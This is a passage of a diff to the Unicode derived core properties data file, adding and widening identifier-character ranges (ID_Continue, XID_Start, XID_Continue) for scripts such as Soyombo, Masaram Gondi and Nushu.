+3105..312E    ; ID_Continue # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; ID_Continue # Lo  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 31A0..31BA    ; ID_Continue # Lo  [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY
 31F0..31FF    ; ID_Continue # Lo  [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO
 3400..4DB5    ; ID_Continue # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
-4E00..9FD5    ; ID_Continue # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; ID_Continue # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 A000..A014    ; ID_Continue # Lo  [21] YI SYLLABLE IT..YI SYLLABLE E
 A015          ; ID_Continue # Lm       YI SYLLABLE WU
 A016..A48C    ; ID_Continue # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
@@ -7179,7 +7246,7 @@
 102A0..102D0  ; ID_Continue # Lo  [49] CARIAN LETTER A..CARIAN LETTER UUU3
 102E0         ; ID_Continue # Mn       COPTIC EPACT THOUSANDS MARK
 10300..1031F  ; ID_Continue # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
-10330..10340  ; ID_Continue # Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; ID_Continue # Lo  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10341         ; ID_Continue # Nl       GOTHIC LETTER NINETY
 10342..10349  ; ID_Continue # Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 1034A         ; ID_Continue # Nl       GOTHIC LETTER NINE HUNDRED
@@ -7367,6 +7434,25 @@
 118A0..118DF  ; ID_Continue # L&  [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO
 118E0..118E9  ; ID_Continue # Nd  [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 118FF         ; ID_Continue # Lo       WARANG CITI OM
+11A00         ; ID_Continue # Lo       ZANABAZAR SQUARE LETTER A
+11A01..11A06  ; ID_Continue # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08  ; ID_Continue # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A  ; ID_Continue # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A0B..11A32  ; ID_Continue # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A33..11A38  ; ID_Continue # Mn   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39         ; ID_Continue # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A3A         ; ID_Continue # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A3B..11A3E  ; ID_Continue # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A47         ; ID_Continue # Mn       ZANABAZAR SQUARE SUBJOINER
+11A50         ; ID_Continue # Lo       SOYOMBO LETTER A
+11A51..11A56  ; ID_Continue # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58  ; ID_Continue # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B  ; ID_Continue # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A5C..11A83  ; ID_Continue # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; ID_Continue # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11A8A..11A96  ; ID_Continue # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97         ; ID_Continue # Mc       SOYOMBO SIGN VISARGA
+11A98..11A99  ; ID_Continue # Mn   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
 11AC0..11AF8  ; ID_Continue # Lo  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08  ; ID_Continue # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; ID_Continue # Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
@@ -7385,6 +7471,16 @@
 11CB2..11CB3  ; ID_Continue # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB4         ; ID_Continue # Mc       MARCHEN VOWEL SIGN O
 11CB5..11CB6  ; ID_Continue # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D00..11D06  ; ID_Continue # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; ID_Continue # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; ID_Continue # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D31..11D36  ; ID_Continue # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; ID_Continue # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; ID_Continue # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; ID_Continue # Mn   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D46         ; ID_Continue # Lo       MASARAM GONDI REPHA
+11D47         ; ID_Continue # Mn       MASARAM GONDI RA-KARA
+11D50..11D59  ; ID_Continue # Nd  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 12000..12399  ; ID_Continue # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E  ; ID_Continue # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12480..12543  ; ID_Continue # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
@@ -7406,10 +7502,11 @@
 16F51..16F7E  ; ID_Continue # Mc  [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
 16F8F..16F92  ; ID_Continue # Mn   [4] MIAO TONE RIGHT..MIAO TONE BELOW
 16F93..16F9F  ; ID_Continue # Lm  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0         ; ID_Continue # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; ID_Continue # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 17000..187EC  ; ID_Continue # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; ID_Continue # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001  ; ID_Continue # Lo   [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B11E  ; ID_Continue # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; ID_Continue # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1BC00..1BC6A  ; ID_Continue # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C  ; ID_Continue # Lo  [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88  ; ID_Continue # Lo   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -7506,10 +7603,11 @@
 2A700..2B734  ; ID_Continue # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; ID_Continue # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; ID_Continue # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; ID_Continue # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 2F800..2FA1D  ; ID_Continue # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 E0100..E01EF  ; ID_Continue # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
 
-# Total code points: 119691
+# Total code points: 128108
 
 # ================================================
 
@@ -7578,6 +7676,7 @@
 0824          ; XID_Start # Lm       SAMARITAN MODIFIER LETTER SHORT A
 0828          ; XID_Start # Lm       SAMARITAN MODIFIER LETTER I
 0840..0858    ; XID_Start # Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
+0860..086A    ; XID_Start # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4    ; XID_Start # Lo  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD    ; XID_Start # Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 0904..0939    ; XID_Start # Lo  [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA
@@ -7597,6 +7696,7 @@
 09DC..09DD    ; XID_Start # Lo   [2] BENGALI LETTER RRA..BENGALI LETTER RHA
 09DF..09E1    ; XID_Start # Lo   [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL
 09F0..09F1    ; XID_Start # Lo   [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL
+09FC          ; XID_Start # Lo       BENGALI LETTER VEDIC ANUSVARA
 0A05..0A0A    ; XID_Start # Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
 0A0F..0A10    ; XID_Start # Lo   [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI
 0A13..0A28    ; XID_Start # Lo  [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA
@@ -7853,12 +7953,12 @@
 30A1..30FA    ; XID_Start # Lo  [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO
 30FC..30FE    ; XID_Start # Lm   [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK
 30FF          ; XID_Start # Lo       KATAKANA DIGRAPH KOTO
-3105..312D    ; XID_Start # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; XID_Start # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; XID_Start # Lo  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 31A0..31BA    ; XID_Start # Lo  [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY
 31F0..31FF    ; XID_Start # Lo  [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO
 3400..4DB5    ; XID_Start # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
-4E00..9FD5    ; XID_Start # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; XID_Start # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 A000..A014    ; XID_Start # Lo  [21] YI SYLLABLE IT..YI SYLLABLE E
 A015          ; XID_Start # Lm       YI SYLLABLE WU
 A016..A48C    ; XID_Start # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
@@ -7981,7 +8081,7 @@
 10280..1029C  ; XID_Start # Lo  [29] LYCIAN LETTER A..LYCIAN LETTER X
 102A0..102D0  ; XID_Start # Lo  [49] CARIAN LETTER A..CARIAN LETTER UUU3
 10300..1031F  ; XID_Start # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
-10330..10340  ; XID_Start # Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; XID_Start # Lo  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10341         ; XID_Start # Nl       GOTHIC LETTER NINETY
 10342..10349  ; XID_Start # Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 1034A         ; XID_Start # Nl       GOTHIC LETTER NINE HUNDRED
@@ -8068,11 +8168,21 @@
 11700..11719  ; XID_Start # Lo  [26] AHOM LETTER KA..AHOM LETTER JHA
 118A0..118DF  ; XID_Start # L&  [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO
 118FF         ; XID_Start # Lo       WARANG CITI OM
+11A00         ; XID_Start # Lo       ZANABAZAR SQUARE LETTER A
+11A0B..11A32  ; XID_Start # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A3A         ; XID_Start # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A50         ; XID_Start # Lo       SOYOMBO LETTER A
+11A5C..11A83  ; XID_Start # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; XID_Start # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
 11AC0..11AF8  ; XID_Start # Lo  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08  ; XID_Start # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; XID_Start # Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
 11C40         ; XID_Start # Lo       BHAIKSUKI SIGN AVAGRAHA
 11C72..11C8F  ; XID_Start # Lo  [30] MARCHEN LETTER KA..MARCHEN LETTER A
+11D00..11D06  ; XID_Start # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; XID_Start # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; XID_Start # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D46         ; XID_Start # Lo       MASARAM GONDI REPHA
 12000..12399  ; XID_Start # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E  ; XID_Start # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12480..12543  ; XID_Start # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
@@ -8088,10 +8198,11 @@
 16F00..16F44  ; XID_Start # Lo  [69] MIAO LETTER PA..MIAO LETTER HHA
 16F50         ; XID_Start # Lo       MIAO LETTER NASALIZATION
 16F93..16F9F  ; XID_Start # Lm  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0         ; XID_Start # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; XID_Start # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 17000..187EC  ; XID_Start # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; XID_Start # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001  ; XID_Start # Lo   [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B11E  ; XID_Start # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; XID_Start # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1BC00..1BC6A  ; XID_Start # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C  ; XID_Start # Lo  [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88  ; XID_Start # Lo   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -8165,9 +8276,10 @@
 2A700..2B734  ; XID_Start # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; XID_Start # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; XID_Start # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; XID_Start # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 2F800..2FA1D  ; XID_Start # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 
-# Total code points: 116984
+# Total code points: 125311
 
 # ================================================
 
@@ -8266,6 +8378,7 @@
 0829..082D    ; XID_Continue # Mn   [5] SAMARITAN VOWEL SIGN LONG I..SAMARITAN MARK NEQUDAA
 0840..0858    ; XID_Continue # Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
 0859..085B    ; XID_Continue # Mn   [3] MANDAIC AFFRICATION MARK..MANDAIC GEMINATION MARK
+0860..086A    ; XID_Continue # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4    ; XID_Continue # Lo  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD    ; XID_Continue # Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 08D4..08E1    ; XID_Continue # Mn  [14] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA
@@ -8310,6 +8423,7 @@
 09E2..09E3    ; XID_Continue # Mn   [2] BENGALI VOWEL SIGN VOCALIC L..BENGALI VOWEL SIGN VOCALIC LL
 09E6..09EF    ; XID_Continue # Nd  [10] BENGALI DIGIT ZERO..BENGALI DIGIT NINE
 09F0..09F1    ; XID_Continue # Lo   [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL
+09FC          ; XID_Continue # Lo       BENGALI LETTER VEDIC ANUSVARA
 0A01..0A02    ; XID_Continue # Mn   [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI
 0A03          ; XID_Continue # Mc       GURMUKHI SIGN VISARGA
 0A05..0A0A    ; XID_Continue # Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
@@ -8352,6 +8466,7 @@
 0AE2..0AE3    ; XID_Continue # Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
 0AE6..0AEF    ; XID_Continue # Nd  [10] GUJARATI DIGIT ZERO..GUJARATI DIGIT NINE
 0AF9          ; XID_Continue # Lo       GUJARATI LETTER ZHA
+0AFA..0AFF    ; XID_Continue # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; XID_Continue # Mn       ORIYA SIGN CANDRABINDU
 0B02..0B03    ; XID_Continue # Mc   [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
 0B05..0B0C    ; XID_Continue # Lo   [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L
@@ -8435,11 +8550,12 @@
 0CE2..0CE3    ; XID_Continue # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
 0CE6..0CEF    ; XID_Continue # Nd  [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE
 0CF1..0CF2    ; XID_Continue # Lo   [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA
-0D01          ; XID_Continue # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; XID_Continue # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
 0D02..0D03    ; XID_Continue # Mc   [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
 0D05..0D0C    ; XID_Continue # Lo   [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L
 0D0E..0D10    ; XID_Continue # Lo   [3] MALAYALAM LETTER E..MALAYALAM LETTER AI
 0D12..0D3A    ; XID_Continue # Lo  [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA
+0D3B..0D3C    ; XID_Continue # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D3D          ; XID_Continue # Lo       MALAYALAM SIGN AVAGRAHA
 0D3E..0D40    ; XID_Continue # Mc   [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
 0D41..0D44    ; XID_Continue # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
@@ -8703,6 +8819,7 @@
 1CF2..1CF3    ; XID_Continue # Mc   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
 1CF4          ; XID_Continue # Mn       VEDIC TONE CANDRA ABOVE
 1CF5..1CF6    ; XID_Continue # Lo   [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA
+1CF7          ; XID_Continue # Mc       VEDIC SIGN ATIKRAMA
 1CF8..1CF9    ; XID_Continue # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
 1D00..1D2B    ; XID_Continue # L&  [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL
 1D2C..1D6A    ; XID_Continue # Lm  [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI
@@ -8710,7 +8827,7 @@
 1D78          ; XID_Continue # Lm       MODIFIER LETTER CYRILLIC EN
 1D79..1D9A    ; XID_Continue # L&  [34] LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK
 1D9B..1DBF    ; XID_Continue # Lm  [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA
-1DC0..1DF5    ; XID_Continue # Mn  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; XID_Continue # Mn  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; XID_Continue # Mn   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 1E00..1F15    ; XID_Continue # L& [278] LATIN CAPITAL LETTER A WITH RING BELOW..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA
 1F18..1F1D    ; XID_Continue # L&   [6] GREEK CAPITAL LETTER EPSILON WITH PSILI..GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA
@@ -8800,12 +8917,12 @@
 30A1..30FA    ; XID_Continue # Lo  [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO
 30FC..30FE    ; XID_Continue # Lm   [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK
 30FF          ; XID_Continue # Lo       KATAKANA DIGRAPH KOTO
-3105..312D    ; XID_Continue # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; XID_Continue # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; XID_Continue # Lo  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 31A0..31BA    ; XID_Continue # Lo  [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY
 31F0..31FF    ; XID_Continue # Lo  [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO
 3400..4DB5    ; XID_Continue # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
-4E00..9FD5    ; XID_Continue # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; XID_Continue # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 A000..A014    ; XID_Continue # Lo  [21] YI SYLLABLE IT..YI SYLLABLE E
 A015          ; XID_Continue # Lm       YI SYLLABLE WU
 A016..A48C    ; XID_Continue # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
@@ -8999,7 +9116,7 @@
 102A0..102D0  ; XID_Continue # Lo  [49] CARIAN LETTER A..CARIAN LETTER UUU3
 102E0         ; XID_Continue # Mn       COPTIC EPACT THOUSANDS MARK
 10300..1031F  ; XID_Continue # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
-10330..10340  ; XID_Continue # Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; XID_Continue # Lo  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10341         ; XID_Continue # Nl       GOTHIC LETTER NINETY
 10342..10349  ; XID_Continue # Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 1034A         ; XID_Continue # Nl       GOTHIC LETTER NINE HUNDRED
@@ -9187,6 +9304,25 @@
 118A0..118DF  ; XID_Continue # L&  [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO
 118E0..118E9  ; XID_Continue # Nd  [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 118FF         ; XID_Continue # Lo       WARANG CITI OM
+11A00         ; XID_Continue # Lo       ZANABAZAR SQUARE LETTER A
+11A01..11A06  ; XID_Continue # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08  ; XID_Continue # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A  ; XID_Continue # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A0B..11A32  ; XID_Continue # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A33..11A38  ; XID_Continue # Mn   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39         ; XID_Continue # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A3A         ; XID_Continue # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A3B..11A3E  ; XID_Continue # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A47         ; XID_Continue # Mn       ZANABAZAR SQUARE SUBJOINER
+11A50         ; XID_Continue # Lo       SOYOMBO LETTER A
+11A51..11A56  ; XID_Continue # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58  ; XID_Continue # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B  ; XID_Continue # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A5C..11A83  ; XID_Continue # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; XID_Continue # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11A8A..11A96  ; XID_Continue # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97         ; XID_Continue # Mc       SOYOMBO SIGN VISARGA
+11A98..11A99  ; XID_Continue # Mn   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
 11AC0..11AF8  ; XID_Continue # Lo  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08  ; XID_Continue # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; XID_Continue # Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
@@ -9205,6 +9341,16 @@
 11CB2..11CB3  ; XID_Continue # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB4         ; XID_Continue # Mc       MARCHEN VOWEL SIGN O
